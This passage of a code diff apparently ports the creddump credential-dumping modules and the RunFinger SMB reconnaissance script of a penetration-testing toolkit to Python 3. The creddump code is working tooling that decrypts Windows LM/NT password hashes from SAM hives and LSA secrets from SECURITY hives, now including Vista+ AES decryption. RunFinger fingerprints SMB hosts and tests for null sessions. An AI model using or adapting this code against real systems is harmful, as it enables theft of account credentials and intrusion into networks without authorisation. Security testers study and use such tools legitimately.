samaddr = user_key.space
|
|
||||||
rid = int(user_key.Name, 16)
|
|
||||||
V = None
|
|
||||||
for v in values(user_key):
|
|
||||||
if v.Name == 'V':
|
|
||||||
V = samaddr.read(v.Data.value, v.DataLength.value)
|
|
||||||
if not V: return None
|
|
||||||
|
|
||||||
hash_offset = unpack("<L", V[0x9c:0x9c+4])[0] + 0xCC
|
|
||||||
|
|
||||||
lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 20 else False
|
|
||||||
nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 20 else False
|
|
||||||
|
|
||||||
enc_lm_hash = V[hash_offset+4:hash_offset+20] if lm_exists else ""
|
|
||||||
enc_nt_hash = V[hash_offset+(24 if lm_exists else 8):hash_offset+(24 if lm_exists else 8)+16] if nt_exists else ""
|
|
||||||
|
|
||||||
return decrypt_hashes(rid, enc_lm_hash, enc_nt_hash, hbootkey)
|
|
||||||
|
|
||||||
def get_user_name(user_key):
|
def get_user_name(user_key):
|
||||||
samaddr = user_key.space
|
samaddr = user_key.space
|
||||||
V = None
|
V = None
|
||||||
for v in values(user_key):
|
for v in values(user_key):
|
||||||
if v.Name == 'V':
|
if v.Name == b'V':
|
||||||
V = samaddr.read(v.Data.value, v.DataLength.value)
|
V = samaddr.read(v.Data.value, v.DataLength.value)
|
||||||
if not V: return None
|
if not V:
|
||||||
|
return None
|
||||||
|
|
||||||
name_offset = unpack("<L", V[0x0c:0x10])[0] + 0xCC
|
name_offset = unpack("<L", V[0x0c:0x10])[0] + 0xCC
|
||||||
name_length = unpack("<L", V[0x10:0x14])[0]
|
name_length = unpack("<L", V[0x10:0x14])[0]
|
||||||
|
@ -198,23 +287,25 @@ def get_user_name(user_key):
|
||||||
username = V[name_offset:name_offset + name_length].decode('utf-16-le')
|
username = V[name_offset:name_offset + name_length].decode('utf-16-le')
|
||||||
return username
|
return username
|
||||||
|
|
||||||
def dump_hashes(Key, samaddr):
|
|
||||||
bootkey = Key
|
def dump_hashes(sysaddr, samaddr):
|
||||||
|
bootkey = get_bootkey(sysaddr)
|
||||||
hbootkey = get_hbootkey(samaddr, bootkey)
|
hbootkey = get_hbootkey(samaddr, bootkey)
|
||||||
Output = ""
|
|
||||||
for user in get_user_keys(samaddr):
|
for user in get_user_keys(samaddr):
|
||||||
lmhash, nthash = get_user_hashes(user, hbootkey)
|
lmhash, nthash = get_user_hashes(user, hbootkey)
|
||||||
if not lmhash: lmhash = empty_lm
|
if not lmhash:
|
||||||
if not nthash: nthash = empty_nt
|
lmhash = empty_lm
|
||||||
hashes = "%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name,16),
|
if not nthash:
|
||||||
lmhash.encode('hex'), nthash.encode('hex'))
|
nthash = empty_nt
|
||||||
hashesdump = "%s:%d:%s:%s:::\n" % (get_user_name(user), int(user.Name,16),
|
try:
|
||||||
lmhash.encode('hex'), nthash.encode('hex'))
|
print("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16),
|
||||||
print hashes
|
lmhash.hex(), nthash.hex()))
|
||||||
Output += hashesdump
|
except ValueError:
|
||||||
return Output
|
pass # skip if user.Name cannot be converted to an int, since its a "false" rid like the "Names" key
|
||||||
|
|
||||||
def dump_file_hashes(Key, samhive_fname):
|
|
||||||
|
def dump_file_hashes(syshive_fname, samhive_fname):
|
||||||
|
sysaddr = HiveFileAddressSpace(syshive_fname)
|
||||||
samaddr = HiveFileAddressSpace(samhive_fname)
|
samaddr = HiveFileAddressSpace(samhive_fname)
|
||||||
Output = dump_hashes(Key, samaddr)
|
dump_hashes(sysaddr, samaddr)
|
||||||
return Output
|
|
||||||
|
|
|
@ -13,26 +13,33 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
|
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
|
# pylint: disable=missing-docstring
|
||||||
|
|
||||||
"""
|
"""
|
||||||
@author: Brendan Dolan-Gavitt
|
@author: Brendan Dolan-Gavitt
|
||||||
@license: GNU General Public License 2.0 or later
|
@license: GNU General Public License 2.0 or later
|
||||||
@contact: bdolangavitt@wesleyan.edu
|
@contact: bdolangavitt@wesleyan.edu
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from framework.win32.rawreg import *
|
from Crypto.Hash import MD5, SHA256
|
||||||
from framework.addrspace import HiveFileAddressSpace
|
from Crypto.Cipher import ARC4, DES, AES
|
||||||
#from framework.win32.hashdump import get_bootkey,str_to_key
|
|
||||||
from Crypto.Hash import MD5
|
|
||||||
from Crypto.Cipher import ARC4,DES
|
|
||||||
|
|
||||||
def get_lsa_key(secaddr, bootkey):
|
from framework.win32.rawreg import get_root, open_key, subkeys, unpack
|
||||||
|
from framework.addrspace import HiveFileAddressSpace
|
||||||
|
from framework.win32.hashdump import get_bootkey, str_to_key
|
||||||
|
|
||||||
|
|
||||||
|
def get_lsa_key(secaddr, bootkey, vista):
|
||||||
root = get_root(secaddr)
|
root = get_root(secaddr)
|
||||||
if not root:
|
if not root:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
if vista:
|
||||||
|
enc_reg_key = open_key(root, ["Policy", "PolEKList"])
|
||||||
|
else:
|
||||||
enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"])
|
enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"])
|
||||||
|
|
||||||
if not enc_reg_key:
|
if not enc_reg_key:
|
||||||
exit(1)
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
enc_reg_value = enc_reg_key.ValueList.List[0]
|
enc_reg_value = enc_reg_key.ValueList.List[0]
|
||||||
|
@ -44,23 +51,28 @@ def get_lsa_key(secaddr, bootkey):
|
||||||
if not obf_lsa_key:
|
if not obf_lsa_key:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
if not vista:
|
||||||
md5 = MD5.new()
|
md5 = MD5.new()
|
||||||
md5.update(bootkey)
|
md5.update(bootkey)
|
||||||
for i in range(1000):
|
for __ in range(1000):
|
||||||
md5.update(obf_lsa_key[60:76])
|
md5.update(obf_lsa_key[60:76])
|
||||||
rc4key = md5.digest()
|
rc4key = md5.digest()
|
||||||
|
|
||||||
rc4 = ARC4.new(rc4key)
|
rc4 = ARC4.new(rc4key)
|
||||||
lsa_key = rc4.decrypt(obf_lsa_key[12:60])
|
lsa_key = rc4.decrypt(obf_lsa_key[12:60])
|
||||||
|
lsa_key = lsa_key[0x10:0x20]
|
||||||
|
else:
|
||||||
|
lsa_key = decrypt_aes(obf_lsa_key, bootkey)
|
||||||
|
lsa_key = lsa_key[68:100]
|
||||||
|
|
||||||
|
return lsa_key
|
||||||
|
|
||||||
return lsa_key[0x10:0x20]
|
|
||||||
|
|
||||||
def decrypt_secret(secret, key):
|
def decrypt_secret(secret, key):
|
||||||
"""Python implementation of SystemFunction005.
|
"""Python implementation of SystemFunction005.
|
||||||
|
|
||||||
Decrypts a block of data with DES using given key.
|
Decrypts a block of data with DES using given key.
|
||||||
Note that key can be longer than 7 bytes."""
|
Note that key can be longer than 7 bytes."""
|
||||||
decrypted_data = ''
|
decrypted_data = bytearray()
|
||||||
j = 0 # key index
|
j = 0 # key index
|
||||||
for i in range(0, len(secret), 8):
|
for i in range(0, len(secret), 8):
|
||||||
enc_block = secret[i:i + 8]
|
enc_block = secret[i:i + 8]
|
||||||
|
@ -77,7 +89,27 @@ def decrypt_secret(secret, key):
|
||||||
(dec_data_len,) = unpack("<L", decrypted_data[:4])
|
(dec_data_len,) = unpack("<L", decrypted_data[:4])
|
||||||
return decrypted_data[8:8 + dec_data_len]
|
return decrypted_data[8:8 + dec_data_len]
|
||||||
|
|
||||||
def get_secret_by_name(secaddr, name, lsakey):
|
|
||||||
|
def decrypt_aes(secret, key):
|
||||||
|
sha = SHA256.new()
|
||||||
|
sha.update(key)
|
||||||
|
for _i in range(1, 1000 + 1):
|
||||||
|
sha.update(secret[28:60])
|
||||||
|
aeskey = sha.digest()
|
||||||
|
|
||||||
|
data = bytearray()
|
||||||
|
for i in range(60, len(secret), 16):
|
||||||
|
aes = AES.new(aeskey, AES.MODE_CBC, b"\x00" * 16)
|
||||||
|
buf = secret[i: i + 16]
|
||||||
|
if len(buf) < 16:
|
||||||
|
buf += (16 - len(buf)) * b"\00"
|
||||||
|
|
||||||
|
data += aes.decrypt(buf)
|
||||||
|
|
||||||
|
return data
|
||||||
|
|
||||||
|
|
||||||
|
def get_secret_by_name(secaddr, name, lsakey, vista):
|
||||||
root = get_root(secaddr)
|
root = get_root(secaddr)
|
||||||
if not root:
|
if not root:
|
||||||
return None
|
return None
|
||||||
|
@ -95,19 +127,24 @@ def get_secret_by_name(secaddr, name, lsakey):
|
||||||
if not enc_secret:
|
if not enc_secret:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
return decrypt_secret(enc_secret[0xC:], lsakey)
|
if vista:
|
||||||
|
secret = decrypt_aes(enc_secret, lsakey)
|
||||||
|
else:
|
||||||
|
secret = decrypt_secret(enc_secret[0xC:], lsakey)
|
||||||
|
|
||||||
def get_secrets(Key, secaddr):
|
return secret
|
||||||
|
|
||||||
|
|
||||||
|
def get_secrets(sysaddr, secaddr, vista):
|
||||||
root = get_root(secaddr)
|
root = get_root(secaddr)
|
||||||
if not root:
|
if not root:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
bootkey = Key
|
bootkey = get_bootkey(sysaddr)
|
||||||
lsakey = get_lsa_key(secaddr, bootkey)
|
lsakey = get_lsa_key(secaddr, bootkey, vista)
|
||||||
|
|
||||||
secrets_key = open_key(root, ["Policy", "Secrets"])
|
secrets_key = open_key(root, ["Policy", "Secrets"])
|
||||||
if not secrets_key:
|
if not secrets_key:
|
||||||
print "no secret"
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
secrets = {}
|
secrets = {}
|
||||||
|
@ -125,13 +162,18 @@ def get_secrets(Key, secaddr):
|
||||||
if not enc_secret:
|
if not enc_secret:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
if vista:
|
||||||
|
secret = decrypt_aes(enc_secret, lsakey)
|
||||||
|
else:
|
||||||
secret = decrypt_secret(enc_secret[0xC:], lsakey)
|
secret = decrypt_secret(enc_secret[0xC:], lsakey)
|
||||||
|
|
||||||
secrets[key.Name] = secret
|
secrets[key.Name] = secret
|
||||||
|
|
||||||
return secrets
|
return secrets
|
||||||
|
|
||||||
def get_file_secrets(Key, secfile):
|
|
||||||
|
def get_file_secrets(sysfile, secfile, vista):
|
||||||
|
sysaddr = HiveFileAddressSpace(sysfile)
|
||||||
secaddr = HiveFileAddressSpace(secfile)
|
secaddr = HiveFileAddressSpace(secfile)
|
||||||
|
|
||||||
return get_secrets(Key, secaddr)
|
return get_secrets(sysaddr, secaddr, vista)
|
||||||
|
|
||||||
|
|
|
@ -23,9 +23,9 @@ from framework.newobj import Obj,Pointer
|
||||||
from struct import unpack
|
from struct import unpack
|
||||||
|
|
||||||
ROOT_INDEX = 0x20
|
ROOT_INDEX = 0x20
|
||||||
LH_SIG = unpack("<H","lh")[0]
|
LH_SIG = unpack("<H",b"lh")[0]
|
||||||
LF_SIG = unpack("<H","lf")[0]
|
LF_SIG = unpack("<H",b"lf")[0]
|
||||||
RI_SIG = unpack("<H","ri")[0]
|
RI_SIG = unpack("<H",b"ri")[0]
|
||||||
|
|
||||||
def get_root(address_space):
|
def get_root(address_space):
|
||||||
return Obj("_CM_KEY_NODE", ROOT_INDEX, address_space)
|
return Obj("_CM_KEY_NODE", ROOT_INDEX, address_space)
|
||||||
|
@ -34,11 +34,11 @@ def open_key(root, key):
|
||||||
if key == []:
|
if key == []:
|
||||||
return root
|
return root
|
||||||
|
|
||||||
keyname = key.pop(0)
|
keyname = key.pop(0).encode()
|
||||||
for s in subkeys(root):
|
for s in subkeys(root):
|
||||||
if s.Name.upper() == keyname.upper():
|
if s.Name.upper() == keyname.upper():
|
||||||
return open_key(s, key)
|
return open_key(s, key)
|
||||||
print "ERR: Couldn't find subkey %s of %s" % (keyname, root.Name)
|
print("ERR: Couldn't find subkey %s of %s" % (keyname, root.Name))
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def subkeys(key,stable=True):
|
def subkeys(key,stable=True):
|
||||||
|
|
38
tools/MultiRelay/creddump/lsadump.py
Normal file → Executable file
38
tools/MultiRelay/creddump/lsadump.py
Normal file → Executable file
|
@ -15,6 +15,8 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
|
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
|
# pylint: disable=invalid-name,missing-docstring
|
||||||
|
|
||||||
"""
|
"""
|
||||||
@author: Brendan Dolan-Gavitt
|
@author: Brendan Dolan-Gavitt
|
||||||
@license: GNU General Public License 2.0 or later
|
@license: GNU General Public License 2.0 or later
|
||||||
|
@ -27,28 +29,40 @@ from framework.win32.lsasecrets import get_file_secrets
|
||||||
# Hex dump code from
|
# Hex dump code from
|
||||||
# http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812
|
# http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812
|
||||||
|
|
||||||
FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])
|
FILTER = ''.join(32 <= i < 127 and chr(i) or '.' for i in range(256))
|
||||||
|
|
||||||
|
|
||||||
|
def showUsage():
|
||||||
|
print("usage: %s <system hive> <security hive> <Vista/7>" % sys.argv[0])
|
||||||
|
print("\nExample (Windows Vista/7):")
|
||||||
|
print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0])
|
||||||
|
print("\nExample (Windows XP):")
|
||||||
|
print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0])
|
||||||
|
|
||||||
|
|
||||||
def dump(src, length=8):
|
def dump(src, length=8):
|
||||||
N=0; result=''
|
N = 0
|
||||||
|
result = ''
|
||||||
while src:
|
while src:
|
||||||
s, src = src[:length], src[length:]
|
s, src = src[:length], src[length:]
|
||||||
hexa = ' '.join(["%02X"%ord(x) for x in s])
|
hexa = ' '.join(["%02X" % x for x in s])
|
||||||
s = s.translate(FILTER)
|
s = ''.join(FILTER[b] for b in s)
|
||||||
result += "%04X %-*s %s\n" % (N, length * 3, hexa, s)
|
result += "%04X %-*s %s\n" % (N, length * 3, hexa, s)
|
||||||
N += length
|
N += length
|
||||||
return result
|
return result
|
||||||
|
|
||||||
if len(sys.argv) < 3:
|
|
||||||
print "usage: %s Bootkey <security hive>" % sys.argv[0]
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
secrets = get_file_secrets(sys.argv[1].decode("hex"), sys.argv[2])
|
if len(sys.argv) < 4 or sys.argv[3].lower() not in ["true", "false"]:
|
||||||
|
showUsage()
|
||||||
|
sys.exit(1)
|
||||||
|
else:
|
||||||
|
vista = sys.argv[3].lower() == "true"
|
||||||
|
|
||||||
|
secrets = get_file_secrets(sys.argv[1], sys.argv[2], vista)
|
||||||
if not secrets:
|
if not secrets:
|
||||||
print "Unable to read LSA secrets. Perhaps you provided invalid hive files?"
|
print("Unable to read LSA secrets. Perhaps you provided invalid hive files?")
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
for k in secrets:
|
for k in secrets:
|
||||||
print k
|
print(k.decode())
|
||||||
print dump(secrets[k], length=16)
|
print(dump(secrets[k], length=16))
|
||||||
|
|
||||||
|
|
|
@ -25,7 +25,7 @@ import sys
|
||||||
from framework.win32.hashdump import dump_file_hashes
|
from framework.win32.hashdump import dump_file_hashes
|
||||||
|
|
||||||
if len(sys.argv) < 3:
|
if len(sys.argv) < 3:
|
||||||
print "usage: %s bootkey SAM_File" % sys.argv[0]
|
print("usage: %s <system hive> <SAM hive>" % sys.argv[0])
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2])
|
dump_file_hashes(sys.argv[1], sys.argv[2])
|
||||||
|
|
|
@ -14,20 +14,18 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import re,sys,socket,struct
|
import re,sys,struct
|
||||||
import datetime
|
import datetime
|
||||||
import multiprocessing
|
import multiprocessing
|
||||||
from socket import *
|
from socket import *
|
||||||
from odict import OrderedDict
|
from odict import OrderedDict
|
||||||
import optparse
|
import optparse
|
||||||
from RunFingerPackets import *
|
from RunFingerPackets import *
|
||||||
|
__version__ = "1.0"
|
||||||
__version__ = "0.8"
|
|
||||||
|
|
||||||
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
|
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
|
||||||
|
|
||||||
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
|
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
|
||||||
parser.add_option('-a','--all', action="store_true", help="Performs all checks (including MS17-010)", dest="all", default=False)
|
|
||||||
parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format")
|
parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format")
|
||||||
options, args = parser.parse_args()
|
options, args = parser.parse_args()
|
||||||
|
|
||||||
|
@ -38,31 +36,58 @@ if options.TARGET is None:
|
||||||
|
|
||||||
Timeout = 2
|
Timeout = 2
|
||||||
Host = options.TARGET
|
Host = options.TARGET
|
||||||
MS17010Check = options.all
|
|
||||||
|
|
||||||
class Packet():
|
class Packet():
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
])
|
])
|
||||||
def __init__(self, **kw):
|
def __init__(self, **kw):
|
||||||
self.fields = OrderedDict(self.__class__.fields)
|
self.fields = OrderedDict(self.__class__.fields)
|
||||||
for k,v in kw.items():
|
for k,v in list(kw.items()):
|
||||||
if callable(v):
|
if callable(v):
|
||||||
self.fields[k] = v(self.fields[k])
|
self.fields[k] = v(self.fields[k])
|
||||||
else:
|
else:
|
||||||
self.fields[k] = v
|
self.fields[k] = v
|
||||||
def __str__(self):
|
def __str__(self):
|
||||||
return "".join(map(str, self.fields.values()))
|
return "".join(map(str, list(self.fields.values())))
|
||||||
|
|
||||||
|
#Python version
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
|
PY2OR3 = "PY3"
|
||||||
|
else:
|
||||||
|
PY2OR3 = "PY2"
|
||||||
|
|
||||||
|
def StructWithLenPython2or3(endian,data):
|
||||||
|
#Python2...
|
||||||
|
if PY2OR3 is "PY2":
|
||||||
|
return struct.pack(endian, data)
|
||||||
|
#Python3...
|
||||||
|
else:
|
||||||
|
return struct.pack(endian, data).decode('latin-1')
|
||||||
|
|
||||||
|
def NetworkSendBufferPython2or3(data):
|
||||||
|
if PY2OR3 is "PY2":
|
||||||
|
return str(data)
|
||||||
|
else:
|
||||||
|
return bytes(str(data), 'latin-1')
|
||||||
|
|
||||||
|
def NetworkRecvBufferPython2or3(data):
|
||||||
|
if PY2OR3 is "PY2":
|
||||||
|
return str(data)
|
||||||
|
else:
|
||||||
|
return str(data.decode('latin-1'))
|
||||||
|
|
||||||
def longueur(payload):
|
def longueur(payload):
|
||||||
length = struct.pack(">i", len(''.join(payload)))
|
length = StructWithLenPython2or3(">i", len(''.join(payload)))
|
||||||
return length
|
return length
|
||||||
|
|
||||||
def GetBootTime(data):
|
def GetBootTime(data):
|
||||||
|
try:
|
||||||
Filetime = int(struct.unpack('<q',data)[0])
|
Filetime = int(struct.unpack('<q',data)[0])
|
||||||
t = divmod(Filetime - 116444736000000000, 10000000)
|
t = divmod(Filetime - 116444736000000000, 10000000)
|
||||||
time = datetime.datetime.fromtimestamp(t[0])
|
time = datetime.datetime.fromtimestamp(t[0])
|
||||||
return time, time.strftime('%Y-%m-%d %H:%M:%S')
|
return time, time.strftime('%Y-%m-%d %H:%M:%S')
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
#####################
|
#####################
|
||||||
|
|
||||||
|
@ -80,23 +105,25 @@ def dtoa(d):
|
||||||
|
|
||||||
def OsNameClientVersion(data):
|
def OsNameClientVersion(data):
|
||||||
try:
|
try:
|
||||||
length = struct.unpack('<H',data[43:45])[0]
|
length = struct.unpack('<H',data[43:45].encode('latin-1'))[0]
|
||||||
if length > 255:
|
if length > 255:
|
||||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
|
OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||||
return OsVersion, ClientVersion
|
return OsVersion, ClientVersion
|
||||||
if length <= 255:
|
if length <= 255:
|
||||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[46+length:].split('\x00\x00\x00')[:2]])
|
||||||
return OsVersion, ClientVersion
|
return OsVersion, ClientVersion
|
||||||
except:
|
except:
|
||||||
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||||
|
|
||||||
def GetHostnameAndDomainName(data):
|
def GetHostnameAndDomainName(data):
|
||||||
try:
|
try:
|
||||||
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
|
|
||||||
Time = GetBootTime(data[60:68])
|
Time = GetBootTime(data[60:68])
|
||||||
|
data = NetworkRecvBufferPython2or3(data)
|
||||||
|
DomainJoined, Hostname = tuple([e.replace("\x00", "") for e in data[81:].split('\x00\x00\x00')[:2]])
|
||||||
#If max length domain name, there won't be a \x00\x00\x00 delineator to split on
|
#If max length domain name, there won't be a \x00\x00\x00 delineator to split on
|
||||||
if Hostname == '':
|
if Hostname == '':
|
||||||
DomainJoined = data[81:110].replace('\x00','')
|
DomainJoined = data[81:110].decode('latin-1')
|
||||||
Hostname = data[113:].replace('\x00','')
|
Hostname = data[113:].decode('latin-1')
|
||||||
return Hostname, DomainJoined, Time
|
return Hostname, DomainJoined, Time
|
||||||
except:
|
except:
|
||||||
return "Could not get Hostname.", "Could not get Domain joined"
|
return "Could not get Hostname.", "Could not get Domain joined"
|
||||||
|
@ -113,10 +140,10 @@ def DomainGrab(Host):
|
||||||
n = SMBNegoDataLanMan()
|
n = SMBNegoDataLanMan()
|
||||||
packet0 = str(h)+str(n)
|
packet0 = str(h)+str(n)
|
||||||
buffer0 = longueur(packet0)+packet0
|
buffer0 = longueur(packet0)+packet0
|
||||||
s.send(buffer0)
|
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
s.close()
|
s.close()
|
||||||
if data[8:10] == "\x72\x00":
|
if data[8:10] == b'\x72\x00':
|
||||||
return GetHostnameAndDomainName(data)
|
return GetHostnameAndDomainName(data)
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
@ -134,53 +161,22 @@ def SmbFinger(Host):
|
||||||
n.calculate()
|
n.calculate()
|
||||||
packet0 = str(h)+str(n)
|
packet0 = str(h)+str(n)
|
||||||
buffer0 = longueur(packet0)+packet0
|
buffer0 = longueur(packet0)+packet0
|
||||||
s.send(buffer0)
|
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
signing = IsSigningEnabled(data)
|
signing = IsSigningEnabled(data)
|
||||||
if data[8:10] == "\x72\x00":
|
if data[8:10] == b'\x72\x00':
|
||||||
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||||
t = SMBSessionFingerData()
|
t = SMBSessionFingerData()
|
||||||
packet0 = str(head)+str(t)
|
packet0 = str(head)+str(t)
|
||||||
buffer1 = longueur(packet0)+packet0
|
buffer1 = longueur(packet0)+packet0
|
||||||
s.send(buffer1)
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
if data[8:10] == "\x73\x16":
|
if data[8:10] == b'\x73\x16':
|
||||||
OsVersion, ClientVersion = OsNameClientVersion(data)
|
OsVersion, ClientVersion = OsNameClientVersion(NetworkRecvBufferPython2or3(data))
|
||||||
return signing, OsVersion, ClientVersion
|
return signing, OsVersion, ClientVersion
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
def check_ms17_010(host):
|
|
||||||
s = socket(AF_INET, SOCK_STREAM)
|
|
||||||
try:
|
|
||||||
s.settimeout(Timeout)
|
|
||||||
s.connect(Host)
|
|
||||||
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
|
|
||||||
n = SMBNego(Data = SMBNegoData())
|
|
||||||
n.calculate()
|
|
||||||
packet0 = str(h)+str(n)
|
|
||||||
buffer0 = longueur(packet0)+packet0
|
|
||||||
s.send(buffer0)
|
|
||||||
data = s.recv(2048)
|
|
||||||
if data[8:10] == "\x75\x00":
|
|
||||||
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",uid=data[32:34],tid=data[28:30],mid="\xc0\x00")
|
|
||||||
t = SMBTransRAPData()
|
|
||||||
t.calculate()
|
|
||||||
packet1 = str(head)+str(t)
|
|
||||||
buffer1 = longueur(packet1)+packet1
|
|
||||||
s.send(buffer1)
|
|
||||||
data = s.recv(2048)
|
|
||||||
if data[9:13] == "\x05\x02\x00\xc0":
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
except Exception as err:
|
|
||||||
return False
|
|
||||||
|
|
||||||
|
|
||||||
def check_smb_null_session(host):
|
def check_smb_null_session(host):
|
||||||
s = socket(AF_INET, SOCK_STREAM)
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
try:
|
try:
|
||||||
|
@ -191,38 +187,54 @@ def check_smb_null_session(host):
|
||||||
n.calculate()
|
n.calculate()
|
||||||
packet0 = str(h)+str(n)
|
packet0 = str(h)+str(n)
|
||||||
buffer0 = longueur(packet0)+packet0
|
buffer0 = longueur(packet0)+packet0
|
||||||
s.send(buffer0)
|
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
if data[8:10] == "\x75\x00":
|
if data[8:10] == b'\x72\x00':
|
||||||
|
h = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x17\xc8",mid="\x40\x00")
|
||||||
|
n = SMBSessionData()
|
||||||
|
n.calculate()
|
||||||
|
packet0 = str(h)+str(n)
|
||||||
|
buffer0 = longueur(packet0)+packet0
|
||||||
|
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||||
|
data = s.recv(2048)
|
||||||
|
if data[8:10] == b'\x73\x16':
|
||||||
|
h = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x17\xc8",uid=data[32:34].decode('latin-1'),mid="\x80\x00")
|
||||||
|
n = SMBSession2()
|
||||||
|
n.calculate()
|
||||||
|
packet0 = str(h)+str(n)
|
||||||
|
buffer0 = longueur(packet0)+packet0
|
||||||
|
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||||
|
data = s.recv(2048)
|
||||||
|
if data[8:10] == b'\x73\x00':
|
||||||
|
h = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",uid=data[32:34].decode('latin-1'),mid="\xc0\x00")
|
||||||
|
n = SMBTreeConnectData()
|
||||||
|
n.calculate()
|
||||||
|
packet0 = str(h)+str(n)
|
||||||
|
buffer0 = longueur(packet0)+packet0
|
||||||
|
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||||
|
data = s.recv(2048)
|
||||||
|
if data[8:10] == b'\x75\x00':
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
except Exception:
|
except Exception:
|
||||||
|
pass
|
||||||
return False
|
return False
|
||||||
|
|
||||||
##################
|
##################
|
||||||
#run it
|
#run it
|
||||||
def ShowResults(Host):
|
def ShowResults(Host):
|
||||||
try:
|
try:
|
||||||
Hostname, DomainJoined, Time = DomainGrab(Host)
|
Hostname, DomainJoined, Time = DomainGrab((Host, 445))
|
||||||
Signing, OsVer, LanManClient = SmbFinger(Host)
|
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
|
||||||
NullSess = check_smb_null_session(Host)
|
NullSess = check_smb_null_session((Host, 445))
|
||||||
if MS17010Check:
|
print(("Retrieving information for %s..."%(Host)))
|
||||||
Ms17010 = check_ms17_010(Host)
|
print(("SMB signing: %s"%(Signing)))
|
||||||
print "Retrieving information for %s..."%Host[0]
|
print(("Null Sessions Allowed: %s"%(NullSess)))
|
||||||
print "SMB signing:", Signing
|
print(("Server Time: %s"%(Time[1])))
|
||||||
print "Null Sessions Allowed:", NullSess
|
print(("OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)))
|
||||||
print "Vulnerable to MS17-010:", Ms17010
|
